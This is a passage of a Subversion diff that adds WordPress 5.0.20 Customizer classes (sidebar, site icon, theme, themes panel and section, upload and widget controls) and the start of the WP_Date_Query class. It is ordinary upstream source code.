+			$partial = $this->get_partial( $partial_id );
+
+			if ( ! $partial || ! $partial->check_capabilities() ) {
+				$contents[ $partial_id ] = null;
+				continue;
+			}
+
+			$contents[ $partial_id ] = array();
+
+			// @todo The array should include not only the contents, but also whether the container is included?
+			if ( empty( $container_contexts ) ) {
+				// Since there are no container contexts, render just once.
+				$contents[ $partial_id ][] = $partial->render( null );
+			} else {
+				foreach ( $container_contexts as $container_context ) {
+					$contents[ $partial_id ][] = $partial->render( $container_context );
+				}
+			}
+		}
+		$this->current_partial_id = null;
+
+		restore_error_handler();
+
+		/**
+		 * Fires immediately after partials are rendered.
+		 *
+		 * Plugins may do things like call wp_footer() to scrape scripts output and return them
+		 * via the {@see 'customize_render_partials_response'} filter.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param WP_Customize_Selective_Refresh $this     Selective refresh component.
+		 * @param array                          $partials Placements' context data for the partials rendered in the request.
+		 *                                                 The array is keyed by partial ID, with each item being an array of
+		 *                                                 the placements' context data.
+		 */
+		do_action( 'customize_render_partials_after', $this, $partials );
+
+		$response = array(
+			'contents' => $contents,
+		);
+
+		if ( defined( 'WP_DEBUG_DISPLAY' ) && WP_DEBUG_DISPLAY ) {
+			$response['errors'] = $this->triggered_errors;
+		}
+
+		$setting_validities = $this->manager->validate_setting_values( $this->manager->unsanitized_post_values() );
+		$exported_setting_validities = array_map( array( $this->manager, 'prepare_setting_validity_for_js' ), $setting_validities );
+		$response['setting_validities'] = $exported_setting_validities;
+
+		/**
+		 * Filters the response from rendering the partials.
+		 *
+		 * Plugins may use this filter to inject `$scripts` and `$styles`, which are dependencies
+		 * for the partials being rendered. The response data will be available to the client via
+		 * the `render-partials-response` JS event, so the client can then inject the scripts and
+		 * styles into the DOM if they have not already been enqueued there.
+		 *
+		 * If plugins do this, they'll need to take care for any scripts that do `document.write()`
+		 * and make sure that these are not injected, or else to override the function to no-op,
+		 * or else the page will be destroyed.
+		 *
+		 * Plugins should be aware that `$scripts` and `$styles` may eventually be included by
+		 * default in the response.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param array $response {
+		 *     Response.
+		 *
+		 *     @type array $contents Associative array mapping a partial ID its corresponding array of contents
+		 *                           for the containers requested.
+		 *     @type array $errors   List of errors triggered during rendering of partials, if `WP_DEBUG_DISPLAY`
+		 *                           is enabled.
+		 * }
+		 * @param WP_Customize_Selective_Refresh $this     Selective refresh component.
+		 * @param array                          $partials Placements' context data for the partials rendered in the request.
+		 *                                                 The array is keyed by partial ID, with each item being an array of
+		 *                                                 the placements' context data.
+		 */
+		$response = apply_filters( 'customize_render_partials_response', $response, $this, $partials );
+
+		wp_send_json_success( $response );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-sidebar-section.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-sidebar-section.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-sidebar-section.php	(revision 56912)
@@ -0,0 +1,58 @@
+<?php
+/**
+ * Customize API: WP_Customize_Sidebar_Section class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customizer section representing widget area (sidebar).
+ *
+ * @since 4.1.0
+ *
+ * @see WP_Customize_Section
+ */
+class WP_Customize_Sidebar_Section extends WP_Customize_Section {
+
+	/**
+	 * Type of this section.
+	 *
+	 * @since 4.1.0
+	 * @var string
+	 */
+	public $type = 'sidebar';
+
+	/**
+	 * Unique identifier.
+	 *
+	 * @since 4.1.0
+	 * @var string
+	 */
+	public $sidebar_id;
+
+	/**
+	 * Gather the parameters passed to client JavaScript via JSON.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return array The array to be exported to the client as JSON.
+	 */
+	public function json() {
+		$json = parent::json();
+		$json['sidebarId'] = $this->sidebar_id;
+		return $json;
+	}
+
+	/**
+	 * Whether the current sidebar is rendered on the page.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return bool Whether sidebar is rendered.
+	 */
+	public function active_callback() {
+		return $this->manager->widgets->is_sidebar_rendered( $this->sidebar_id );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-site-icon-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-site-icon-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-site-icon-control.php	(revision 56912)
@@ -0,0 +1,98 @@
+<?php
+/**
+ * Customize API: WP_Customize_Site_Icon_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize Site Icon control class.
+ *
+ * Used only for custom functionality in JavaScript.
+ *
+ * @since 4.3.0
+ *
+ * @see WP_Customize_Cropped_Image_Control
+ */
+class WP_Customize_Site_Icon_Control extends WP_Customize_Cropped_Image_Control {
+
+	/**
+	 * Control type.
+	 *
+	 * @since 4.3.0
+	 * @var string
+	 */
+	public $type = 'site_icon';
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
+	 * @param string               $id      Control ID.
+	 * @param array                $args    Optional. Arguments to override class property defaults.
+	 */
+	public function __construct( $manager, $id, $args = array() ) {
+		parent::__construct( $manager, $id, $args );
+		add_action( 'customize_controls_print_styles', 'wp_site_icon', 99 );
+	}
+
+	/**
+	 * Renders a JS template for the content of the site icon control.
+	 *
+	 * @since 4.5.0
+	 */
+	public function content_template() {
+		?>
+		<label for="{{ data.settings['default'] }}-button">
+			<# if ( data.label ) { #>
+				<span class="customize-control-title">{{ data.label }}</span>
+			<# } #>
+			<# if ( data.description ) { #>
+				<span class="description customize-control-description">{{{ data.description }}}</span>
+			<# } #>
+		</label>
+
+		<# if ( data.attachment && data.attachment.id ) { #>
+			<div class="attachment-media-view">
+				<# if ( data.attachment.sizes ) { #>
+					<div class="site-icon-preview wp-clearfix">
+						<div class="favicon-preview">
+							<img src="<?php echo esc_url( admin_url( 'images/' . ( is_rtl() ? 'browser-rtl.png' : 'browser.png' ) ) ); ?>" class="browser-preview" width="182" alt="" />
+
+							<div class="favicon">
+								<img src="{{ data.attachment.sizes.full ? data.attachment.sizes.full.url : data.attachment.url }}" alt="<?php esc_attr_e( 'Preview as a browser icon' ); ?>"/>
+							</div>
+							<span class="browser-title" aria-hidden="true"><?php echo esc_js( get_bloginfo( 'name' ) ); ?></span>
+						</div>
+						<img class="app-icon-preview" src="{{ data.attachment.sizes.full ? data.attachment.sizes.full.url : data.attachment.url }}" alt="<?php esc_attr_e( 'Preview as an app icon' ); ?>"/>
+					</div>
+				<# } #>
+				<div class="actions">
+					<# if ( data.canUpload ) { #>
+						<button type="button" class="button remove-button"><?php echo $this->button_labels['remove']; ?></button>
+						<button type="button" class="button upload-button" id="{{ data.settings['default'] }}-button"><?php echo $this->button_labels['change']; ?></button>
+					<# } #>
+				</div>
+			</div>
+		<# } else { #>
+			<div class="attachment-media-view">
+				<div class="placeholder">
+					<?php echo $this->button_labels['placeholder']; ?>
+				</div>
+				<div class="actions">
+					<# if ( data.defaultAttachment ) { #>
+						<button type="button" class="button default-button"><?php echo $this->button_labels['default']; ?></button>
+					<# } #>
+					<# if ( data.canUpload ) { #>
+						<button type="button" class="button upload-button" id="{{ data.settings['default'] }}-button"><?php echo $this->button_labels['select']; ?></button>
+					<# } #>
+				</div>
+			</div>
+		<# } #>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-theme-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-theme-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-theme-control.php	(revision 56912)
@@ -0,0 +1,133 @@
+<?php
+/**
+ * Customize API: WP_Customize_Theme_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize Theme Control class.
+ *
+ * @since 4.2.0
+ *
+ * @see WP_Customize_Control
+ */
+class WP_Customize_Theme_Control extends WP_Customize_Control {
+
+	/**
+	 * Customize control type.
+	 *
+	 * @since 4.2.0
+	 * @var string
+	 */
+	public $type = 'theme';
+
+	/**
+	 * Theme object.
+	 *
+	 * @since 4.2.0
+	 * @var WP_Theme
+	 */
+	public $theme;
+
+	/**
+	 * Refresh the parameters passed to the JavaScript via JSON.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @see WP_Customize_Control::to_json()
+	 */
+	public function to_json() {
+		parent::to_json();
+		$this->json['theme'] = $this->theme;
+	}
+
+	/**
+	 * Don't render the control content from PHP, as it's rendered via JS on load.
+	 *
+	 * @since 4.2.0
+	 */
+	public function render_content() {}
+
+	/**
+	 * Render a JS template for theme display.
+	 *
+	 * @since 4.2.0
+	 */
+	public function content_template() {
+		/* translators: %s: theme name */
+		$details_label = sprintf( __( 'Details for theme: %s' ), '{{ data.theme.name }}' );
+		/* translators: %s: theme name */
+		$customize_label = sprintf( __( 'Customize theme: %s' ), '{{ data.theme.name }}' );
+		/* translators: %s: theme name */
+		$preview_label = sprintf( __( 'Live preview theme: %s' ), '{{ data.theme.name }}' );
+		/* translators: %s: theme name */
+		$install_label = sprintf( __( 'Install and preview theme: %s' ), '{{ data.theme.name }}' );
+		?>
+		<# if ( data.theme.active ) { #>
+			<div class="theme active" tabindex="0" aria-describedby="{{ data.section }}-{{ data.theme.id }}-action">
+		<# } else { #>
+			<div class="theme" tabindex="0" aria-describedby="{{ data.section }}-{{ data.theme.id }}-action">
+		<# } #>
+
+			<# if ( data.theme.screenshot && data.theme.screenshot[0] ) { #>
+				<div class="theme-screenshot">
+					<img data-src="{{ data.theme.screenshot[0] }}" alt="" />
+				</div>
+			<# } else { #>
+				<div class="theme-screenshot blank"></div>
+			<# } #>
+
+			<span class="more-details theme-details" id="{{ data.section }}-{{ data.theme.id }}-action" aria-label="<?php echo esc_attr( $details_label ); ?>"><?php _e( 'Theme Details' ); ?></span>
+
+			<div class="theme-author"><?php
+				/* translators: Theme author name */
+				printf( _x( 'By %s', 'theme author' ), '{{ data.theme.author }}' );
+			?></div>
+
+			<# if ( 'installed' === data.theme.type && data.theme.hasUpdate ) { #>
+				<div class="update-message notice inline notice-warning notice-alt" data-slug="{{ data.theme.id }}">
+					<p>
+						<?php
+						/* translators: %s: "Update now" button */
+						printf( __( 'New version available. %s' ), '<button class="button-link update-theme" type="button">' . __( 'Update now' ) . '</button>' );
+						?>
+					</p>
+				</div>
+			<# } #>
+
+			<# if ( data.theme.active ) { #>
+				<div class="theme-id-container">
+					<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">
+						<?php
+						/* translators: %s: theme name */
+						printf( __( '<span>Previewing:</span> %s' ), '{{ data.theme.name }}' );
+						?>
+					</h3>
+					<div class="theme-actions">
+						<button type="button" class="button button-primary customize-theme" aria-label="<?php echo esc_attr( $customize_label ); ?>"><?php _e( 'Customize' ); ?></button>
+					</div>
+				</div>
+				<div class="notice notice-success notice-alt"><p><?php _ex( 'Installed', 'theme' ); ?></p></div>
+			<# } else if ( 'installed' === data.theme.type ) { #>
+				<div class="theme-id-container">
+					<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
+					<div class="theme-actions">
+						<button type="button" class="button button-primary preview-theme" aria-label="<?php echo esc_attr( $preview_label ); ?>" data-slug="{{ data.theme.id }}"><?php _e( 'Live Preview' ); ?></button>
+					</div>
+				</div>
+				<div class="notice notice-success notice-alt"><p><?php _ex( 'Installed', 'theme' ); ?></p></div>
+			<# } else { #>
+				<div class="theme-id-container">
+					<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
+					<div class="theme-actions">
+						<button type="button" class="button button-primary theme-install preview" aria-label="<?php echo esc_attr( $install_label ); ?>" data-slug="{{ data.theme.id }}" data-name="{{ data.theme.name }}"><?php _e( 'Install &amp; Preview' ); ?></button>
+					</div>
+				</div>
+			<# } #>
+		</div>
+	<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-themes-panel.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-themes-panel.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-themes-panel.php	(revision 56912)
@@ -0,0 +1,101 @@
+<?php
+/**
+ * Customize API: WP_Customize_Themes_Panel class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.9.0
+ */
+
+/**
+ * Customize Themes Panel Class
+ *
+ * @since 4.9.0
+ *
+ * @see WP_Customize_Panel
+ */
+class WP_Customize_Themes_Panel extends WP_Customize_Panel {
+
+	/**
+	 * Panel type.
+	 *
+	 * @since 4.9.0
+	 * @var string
+	 */
+	public $type = 'themes';
+
+	/**
+	 * An Underscore (JS) template for rendering this panel's container.
+	 *
+	 * The themes panel renders a custom panel heading with the current theme and a switch themes button.
+	 *
+	 * @see WP_Customize_Panel::print_template()
+	 *
+	 * @since 4.9.0
+	 */
+	protected function render_template() {
+		?>
+		<li id="accordion-section-{{ data.id }}" class="accordion-section control-panel-themes">
+			<h3 class="accordion-section-title">
+				<?php
+				if ( $this->manager->is_theme_active() ) {
+					echo '<span class="customize-action">' . __( 'Active theme' ) . '</span> {{ data.title }}';
+				} else {
+					echo '<span class="customize-action">' . __( 'Previewing theme' ) . '</span> {{ data.title }}';
+				}
+				?>
+
+				<?php if ( current_user_can( 'switch_themes' ) ) : ?>
+					<button type="button" class="button change-theme" aria-label="<?php esc_attr_e( 'Change theme' ); ?>"><?php _ex( 'Change', 'theme' ); ?></button>
+				<?php endif; ?>
+			</h3>
+			<ul class="accordion-sub-container control-panel-content"></ul>
+		</li>
+		<?php
+	}
+
+	/**
+	 * An Underscore (JS) template for this panel's content (but not its container).
+	 *
+	 * Class variables for this panel class are available in the `data` JS object;
+	 * export custom variables by overriding WP_Customize_Panel::json().
+	 *
+	 * @since 4.9.0
+	 *
+	 * @see WP_Customize_Panel::print_template()
+	 */
+	protected function content_template() {
+		?>
+		<li class="panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>">
+			<button class="customize-panel-back" tabindex="-1" type="button"><span class="screen-reader-text"><?php _e( 'Back' ); ?></span></button>
+			<div class="accordion-section-title">
+				<span class="preview-notice">
+					<?php
+					/* translators: %s: themes panel title in the Customizer */
+					echo sprintf( __( 'You are browsing %s' ), '<strong class="panel-title">' . __( 'Themes' ) . '</strong>' ); // Separate strings for consistency with other panels.
+					?>
+				</span>
+				<?php if ( current_user_can( 'install_themes' ) && ! is_multisite() ) : ?>
+					<# if ( data.description ) { #>
+						<button class="customize-help-toggle dashicons dashicons-editor-help" type="button" aria-expanded="false"><span class="screen-reader-text"><?php _e( 'Help' ); ?></span></button>
+					<# } #>
+				<?php endif; ?>
+			</div>
+			<?php if ( current_user_can( 'install_themes' ) && ! is_multisite() ) : ?>
+				<# if ( data.description ) { #>
+					<div class="description customize-panel-description">
+						{{{ data.description }}}
+					</div>
+				<# } #>
+			<?php endif; ?>
+
+			<div class="customize-control-notifications-container"></div>
+		</li>
+		<li class="customize-themes-full-container-container">
+			<div class="customize-themes-full-container">
+				<div class="customize-themes-notifications"></div>
+			</div>
+		</li>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-themes-section.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-themes-section.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-themes-section.php	(revision 56912)
@@ -0,0 +1,175 @@
+<?php
+/**
+ * Customize API: WP_Customize_Themes_Section class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize Themes Section class.
+ *
+ * A UI container for theme controls, which are displayed within sections.
+ *
+ * @since 4.2.0
+ *
+ * @see WP_Customize_Section
+ */
+class WP_Customize_Themes_Section extends WP_Customize_Section {
+
+	/**
+	 * Section type.
+	 *
+	 * @since 4.2.0
+	 * @var string
+	 */
+	public $type = 'themes';
+
+	/**
+	 * Theme section action.
+	 *
+	 * Defines the type of themes to load (installed, wporg, etc.).
+	 *
+	 * @since 4.9.0
+	 * @var string
+	 */
+	public $action = '';
+
+	/**
+	 * Theme section filter type.
+	 *
+	 * Determines whether filters are applied to loaded (local) themes or by initiating a new remote query (remote).
+	 * When filtering is local, the initial themes query is not paginated by default.
+	 *
+	 * @since 4.9.0
+	 * @var string
+	 */
+	public $filter_type = 'local';
+
+	/**
+	 * Get section parameters for JS.
+	 *
+	 * @since 4.9.0
+	 * @return array Exported parameters.
+	 */
+	public function json() {
+		$exported = parent::json();
+		$exported['action'] = $this->action;
+		$exported['filter_type'] = $this->filter_type;
+
+		return $exported;
+	}
+
+	/**
+	 * Render a themes section as a JS template.
+	 *
+	 * The template is only rendered by PHP once, so all actions are prepared at once on the server side.
+	 *
+	 * @since 4.9.0
+	 */
+	protected function render_template() {
+		?>
+		<li id="accordion-section-{{ data.id }}" class="theme-section">
+			<button type="button" class="customize-themes-section-title themes-section-{{ data.id }}">{{ data.title }}</button>
+			<?php if ( current_user_can( 'install_themes' ) || is_multisite() ) : // @todo: upload support ?>
+			<?php endif; ?>
+			<div class="customize-themes-section themes-section-{{ data.id }} control-section-content themes-php">
+				<div class="theme-overlay" tabindex="0" role="dialog" aria-label="<?php esc_attr_e( 'Theme Details' ); ?>"></div>
+				<div class="theme-browser rendered">
+					<div class="customize-preview-header themes-filter-bar">
+						<?php $this->filter_bar_content_template(); ?>
+					</div>
+					<?php $this->filter_drawer_content_template(); ?>
+					<div class="error unexpected-error" style="display: none; "><p><?php _e( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ); ?></p></div>
+					<ul class="themes">
+					</ul>
+					<p class="no-themes"><?php _e( 'No themes found. Try a different search.' ); ?></p>
+					<p class="no-themes-local">
+						<?php
+						/* translators: %s: "Search WordPress.org themes" button */
+						printf( __( 'No themes found. Try a different search, or %s.' ),
+							sprintf( '<button type="button" class="button-link search-dotorg-themes">%s</button>', __( 'Search WordPress.org themes' ) )
+						);
+						?>
+					</p>
+					<p class="spinner"></p>
+				</div>
+			</div>
+		</li>
+		<?php
+	}
+
+	/**
+	 * Render the filter bar portion of a themes section as a JS template.
+	 *
+	 * The template is only rendered by PHP once, so all actions are prepared at once on the server side.
+	 * The filter bar container is rendered by @see `render_template()`.
+	 *
+	 * @since 4.9.0
+	 */
+	protected function filter_bar_content_template() {
+		?>
+		<button type="button" class="button button-primary customize-section-back customize-themes-mobile-back"><?php _e( 'Back to theme sources' ); ?></button>
+		<# if ( 'wporg' === data.action ) { #>
+			<div class="search-form">
+				<label for="wp-filter-search-input-{{ data.id }}" class="screen-reader-text"><?php _e( 'Search themes&hellip;' ); ?></label>
+				<input type="search" id="wp-filter-search-input-{{ data.id }}" placeholder="<?php esc_attr_e( 'Search themes&hellip;' ); ?>" aria-describedby="{{ data.id }}-live-search-desc" class="wp-filter-search">
+				<div class="search-icon" aria-hidden="true"></div>
+				<span id="{{ data.id }}-live-search-desc" class="screen-reader-text"><?php _e( 'The search results will be updated as you type.' ); ?></span>
+			</div>
+			<button type="button" class="button feature-filter-toggle">
+				<span class="filter-count-0"><?php _e( 'Filter themes' ); ?></span><span class="filter-count-filters">
+				<?php
+				/* translators: %s: number of filters selected. */
+				printf( __( 'Filter themes (%s)' ), '<span class="theme-filter-count">0</span>' );
+				?>
+				</span>
+			</button>
+		<# } else { #>
+			<div class="themes-filter-container">
+				<label for="{{ data.id }}-themes-filter" class="screen-reader-text"><?php _e( 'Search themes&hellip;' ); ?></label>
+				<input type="search" id="{{ data.id }}-themes-filter" placeholder="<?php esc_attr_e( 'Search themes&hellip;' ); ?>" aria-describedby="{{ data.id }}-live-search-desc" class="wp-filter-search wp-filter-search-themes" />
+				<div class="search-icon" aria-hidden="true"></div>
+				<span id="{{ data.id }}-live-search-desc" class="screen-reader-text"><?php _e( 'The search results will be updated as you type.' ); ?></span>
+			</div>
+		<# } #>
+		<div class="filter-themes-count">
+			<span class="themes-displayed">
+				<?php
+				/* translators: %s: number of themes displayed. */
+				echo sprintf( __( '%s themes' ), '<span class="theme-count">0</span>' );
+				?>
+			</span>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Render the filter drawer portion of a themes section as a JS template.
+	 *
+	 * The filter bar container is rendered by @see `render_template()`.
+	 *
+	 * @since 4.9.0
+	 */
+	protected function filter_drawer_content_template() {
+		$feature_list = get_theme_feature_list( false ); // @todo: Use the .org API instead of the local core feature list. The .org API is currently outdated and will be reconciled when the .org themes directory is next redesigned.
+		?>
+		<# if ( 'wporg' === data.action ) { #>
+			<div class="filter-drawer filter-details">
+				<?php foreach ( $feature_list as $feature_name => $features ) : ?>
+					<fieldset class="filter-group">
+						<legend><?php echo esc_html( $feature_name ); ?></legend>
+						<div class="filter-group-feature">
+							<?php foreach ( $features as $feature => $feature_name ) : ?>
+								<input type="checkbox" id="filter-id-<?php echo esc_attr( $feature ); ?>" value="<?php echo esc_attr( $feature ); ?>" />
+								<label for="filter-id-<?php echo esc_attr( $feature ); ?>"><?php echo esc_html( $feature_name ); ?></label>
+							<?php endforeach; ?>
+						</div>
+					</fieldset>
+				<?php endforeach; ?>
+			</div>
+		<# } #>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-upload-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-upload-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-upload-control.php	(revision 56912)
@@ -0,0 +1,44 @@
+<?php
+/**
+ * Customize API: WP_Customize_Upload_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize Upload Control Class.
+ *
+ * @since 3.4.0
+ *
+ * @see WP_Customize_Media_Control
+ */
+class WP_Customize_Upload_Control extends WP_Customize_Media_Control {
+	public $type          = 'upload';
+	public $mime_type     = '';
+	public $button_labels = array();
+	public $removed = ''; // unused
+	public $context; // unused
+	public $extensions = array(); // unused
+
+	/**
+	 * Refresh the parameters passed to the JavaScript via JSON.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @uses WP_Customize_Media_Control::to_json()
+	 */
+	public function to_json() {
+		parent::to_json();
+
+		$value = $this->value();
+		if ( $value ) {
+			// Get the attachment model for the existing file.
+			$attachment_id = attachment_url_to_postid( $value );
+			if ( $attachment_id ) {
+				$this->json['attachment'] = wp_prepare_attachment_for_js( $attachment_id );
+			}
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-widget-area-customize-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-widget-area-customize-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-widget-area-customize-control.php	(revision 56912)
@@ -0,0 +1,66 @@
+<?php
+/**
+ * Customize API: WP_Widget_Area_Customize_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+
+/**
+ * Widget Area Customize Control class.
+ *
+ * @since 3.9.0
+ *
+ * @see WP_Customize_Control
+ */
+class WP_Widget_Area_Customize_Control extends WP_Customize_Control {
+
+	/**
+	 * Customize control type.
+	 *
+	 * @since 3.9.0
+	 * @var string
+	 */
+	public $type = 'sidebar_widgets';
+
+	/**
+	 * Sidebar ID.
+	 *
+	 * @since 3.9.0
+	 * @var int|string
+	 */
+	public $sidebar_id;
+
+	/**
+	 * Refreshes the parameters passed to the JavaScript via JSON.
+	 *
+	 * @since 3.9.0
+	 */
+	public function to_json() {
+		parent::to_json();
+		$exported_properties = array( 'sidebar_id' );
+		foreach ( $exported_properties as $key ) {
+			$this->json[ $key ] = $this->$key;
+		}
+	}
+
+	/**
+	 * Renders the control's content.
+	 *
+	 * @since 3.9.0
+	 */
+	public function render_content() {
+		$id = 'reorder-widgets-desc-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id );
+		?>
+		<button type="button" class="button add-new-widget" aria-expanded="false" aria-controls="available-widgets">
+			<?php _e( 'Add a Widget' ); ?>
+		</button>
+		<button type="button" class="button-link reorder-toggle" aria-label="<?php esc_attr_e( 'Reorder widgets' ); ?>" aria-describedby="<?php echo esc_attr( $id ); ?>">
+			<span class="reorder"><?php _e( 'Reorder' ); ?></span>
+			<span class="reorder-done"><?php _e( 'Done' ); ?></span>
+		</button>
+		<p class="screen-reader-text" id="<?php echo esc_attr( $id ); ?>"><?php _e( 'When in reorder mode, additional controls to reorder widgets will be available in the widgets list above.' ); ?></p>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-widget-form-customize-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-widget-form-customize-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-widget-form-customize-control.php	(revision 56912)
@@ -0,0 +1,80 @@
+<?php
+/**
+ * Customize API: WP_Widget_Form_Customize_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Widget Form Customize Control class.
+ *
+ * @since 3.9.0
+ *
+ * @see WP_Customize_Control
+ */
+class WP_Widget_Form_Customize_Control extends WP_Customize_Control {
+	public $type = 'widget_form';
+	public $widget_id;
+	public $widget_id_base;
+	public $sidebar_id;
+	public $is_new = false;
+	public $width;
+	public $height;
+	public $is_wide = false;
+
+	/**
+	 * Gather control params for exporting to JavaScript.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @global array $wp_registered_widgets
+	 */
+	public function to_json() {
+		global $wp_registered_widgets;
+
+		parent::to_json();
+		$exported_properties = array( 'widget_id', 'widget_id_base', 'sidebar_id', 'width', 'height', 'is_wide' );
+		foreach ( $exported_properties as $key ) {
+			$this->json[ $key ] = $this->$key;
+		}
+
+		// Get the widget_control and widget_content.
+		require_once ABSPATH . '/wp-admin/includes/widgets.php';
+
+		$widget = $wp_registered_widgets[ $this->widget_id ];
+		if ( ! isset( $widget['params'][0] ) ) {
+			$widget['params'][0] = array();
+		}
+
+		$args = array(
+			'widget_id' => $widget['id'],
+			'widget_name' => $widget['name'],
+		);
+
+		$args = wp_list_widget_controls_dynamic_sidebar( array( 0 => $args, 1 => $widget['params'][0] ) );
+		$widget_control_parts = $this->manager->widgets->get_widget_control_parts( $args );
+
+		$this->json['widget_control'] = $widget_control_parts['control'];
+		$this->json['widget_content'] = $widget_control_parts['content'];
+	}
+
+	/**
+	 * Override render_content to be no-op since content is exported via to_json for deferred embedding.
+	 *
+	 * @since 3.9.0
+	 */
+	public function render_content() {}
+
+	/**
+	 * Whether the current widget is rendered on the page.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return bool Whether the widget is rendered.
+	 */
+	public function active_callback() {
+		return $this->manager->widgets->is_widget_rendered( $this->widget_id );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/date.php
===================================================================
--- /tags/5.0.20/src/wp-includes/date.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/date.php	(revision 56912)
@@ -0,0 +1,1020 @@
+<?php
+/**
+ * Class for generating SQL clauses that filter a primary query according to date.
+ *
+ * WP_Date_Query is a helper that allows primary query classes, such as WP_Query, to filter
+ * their results by date columns, by generating `WHERE` subclauses to be attached to the
+ * primary SQL query string.
+ *
+ * Attempting to filter by an invalid date value (eg month=13) will generate SQL that will
+ * return no results. In these cases, a _doing_it_wrong() error notice is also thrown.
+ * See WP_Date_Query::validate_date_values().
+ *
+ * @link https://codex.wordpress.org/Function_Reference/WP_Query Codex page.
+ *
+ * @since 3.7.0
+ */
+class WP_Date_Query {
+	/**
+	 * Array of date queries.
+	 *
+	 * See WP_Date_Query::__construct() for information on date query arguments.
+	 *
+	 * @since 3.7.0
+	 * @var array
+	 */
+	public $queries = array();
+
+	/**
+	 * The default relation between top-level queries. Can be either 'AND' or 'OR'.
+	 *
+	 * @since 3.7.0
+	 * @var string
+	 */
+	public $relation = 'AND';
+
+	/**
+	 * The column to query against. Can be changed via the query arguments.
+	 *
+	 * @since 3.7.0
+	 * @var string
+	 */
+	public $column = 'post_date';
+
+	/**
+	 * The value comparison operator. Can be changed via the query arguments.
+	 *
+	 * @since 3.7.0
+	 * @var array
+	 */
+	public $compare = '=';
+
+	/**
+	 * Supported time-related parameter keys.
+	 *
+	 * @since 4.1.0
+	 * @var array
+	 */
+	public $time_keys = array( 'after', 'before', 'year', 'month', 'monthnum', 'week', 'w', 'dayofyear', 'day', 'dayofweek', 'dayofweek_iso', 'hour', 'minute', 'second' );
+
+	/**
+	 * Constructor.
+	 *
+	 * Time-related parameters that normally require integer values ('year', 'month', 'week', 'dayofyear', 'day',
+	 * 'dayofweek', 'dayofweek_iso', 'hour', 'minute', 'second') accept arrays of integers for some values of
+	 * 'compare'. When 'compare' is 'IN' or 'NOT IN', arrays are accepted; when 'compare' is 'BETWEEN' or 'NOT
+	 * BETWEEN', arrays of two valid values are required. See individual argument descriptions for accepted values.
+	 *
+	 * @since 3.7.0
+	 * @since 4.0.0 The $inclusive logic was updated to include all times within the date range.
+	 * @since 4.1.0 Introduced 'dayofweek_iso' time type parameter.
+	 *
+	 * @param array $date_query {
+	 *     Array of date query clauses.
+	 *
+	 *     @type array {
+	 *         @type string $column   Optional. The column to query against. If undefined, inherits the value of
+	 *                                the `$default_column` parameter. Accepts 'post_date', 'post_date_gmt',
+	 *                                'post_modified','post_modified_gmt', 'comment_date', 'comment_date_gmt'.
+	 *                                Default 'post_date'.
